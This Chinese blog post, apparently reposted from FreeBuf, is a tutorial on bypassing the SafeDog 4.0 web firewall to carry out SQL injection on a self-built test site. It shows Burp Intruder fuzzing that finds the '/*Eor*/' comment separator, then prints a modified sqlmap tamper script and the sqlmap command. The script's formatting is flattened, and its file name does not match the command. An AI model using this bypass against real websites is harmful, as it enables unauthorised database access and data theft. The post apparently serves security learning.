mysql注入fuzz字典_Fuzz绕过安全狗4.0实现SQL注入

0×00 前言

本文使用了burp的intruder模块进行fuzz,并修改了sqlmap工具的tamper脚本,对安全狗进行绕过。

0×01注入绕waf过常用手法

使用大小写绕过

使用/**/注释符绕过

使用大的数据包绕过

使用/!**/注释符绕过

……

0×02本文使用的手法是/**/注释符

首先搭建好一个有sql注入的测试平台,在服务器安装安全狗4.0版本

中间件和数据库使用的是apache+mysql+php(如图下)

6c67fef3613120141eb52921d0812c65.png

访问搭建好有sql注入点的网站:

1947818463baa9f29a81deecd84bfef2.png

先进行简单测试

使用大小写加/**/注释

334e82259c729606bf172e3c5f72dc3e.png

访问被拦截

b51c916849ac9f14f745eda32685f376.png

使用burp进行对刚刚注入点进行抓包

b9fc00099ea1762ea56c24d594c88092.png

放到重发功能repeater里面,修改id后面的值,以便等下方便爆破

5da0e7cecd05e2c8f7a2bc0803285f6f.png

修改方法,就是尽量sql语句简单,而且可以触发安全狗

以为使用到/**/注释符号来代替空格,使用尽量sql语句只留一个空格,又能触发安全狗

我的构造,刚刚好阔以触发安全狗

531d40bfd432731b4161510a6d9c1507.png

然后接下来就是fuzz,看看哪一个字符能绕过安全狗啦

把数据包放到intuder里面

db86bef0f039c02fdfc2032bdc9fbb79.png

爆破点如上图

640a9db847d21f258925d333737c1f13.png

设置如上图,字典是一些sql语句,网上有很多这种字典

开始fuzz

如果有拦截就会是这样子

2d715dc7f93ddeda531e989b23d52df3.png

成功绕过安全狗拦截,如下图

a0607008dd56969ec8b2988c998a6c7b.png

说明该/Eor/这个注释符可以绕过安全狗

简单测试/Eor/这个注释符

db95396bef386aa2e05a9aa2ac5e25dc.png

点击确认

bd29e9f723da491623443a52e58b9a8a.png

发现and/Eor/1=2会被拦截

不清楚fuzz时候不拦截,手动就拦截了

没关系,使用sqlmap工具

打开sqlmap使在文件下面的文件夹tamper/concat2concatws.py

修改代码:

#!/usr/bin/env python2"""Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):"""Replaces space character (' ') with comments '/**/'Tested against:* Microsoft SQL Server 2005* MySQL 4, 5.0 and 5.5* Oracle 10g* PostgreSQL 8.3, 8.4, 9.0Notes:* Useful to bypass weak and bespoke web application firewalls>>> tamper('SELECT id FROM users')'SELECT/**/id/**/FROM/**/users'"""retVal = payloadif payload:retVal = ""quote, doublequote, firstspace = False, False, Falsefor i in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += "/**/"continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += "/*Eor*/"continueretVal += payload[i]return retVal

使用命令:python2 sqlmap.py -r 1.txt —tamper=space2comment

开始sql注入

91552b799fdecfc03eff8f1d77cef494.png

成功利用

d8a870fc100634ad69a69ea0d564432d.png

0×03小结

这个只是简单的/**/注释绕狗,还有很多方法都可以使用我介绍的fuzz方法去过狗。还有一点不清楚为什么手工会失败,sqlmap里面就会成功,而且burp爆破也可以成功,有大佬知道的可以说说。

*本文作者:Anubis24,转载请注明来自FreeBuf.COM

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值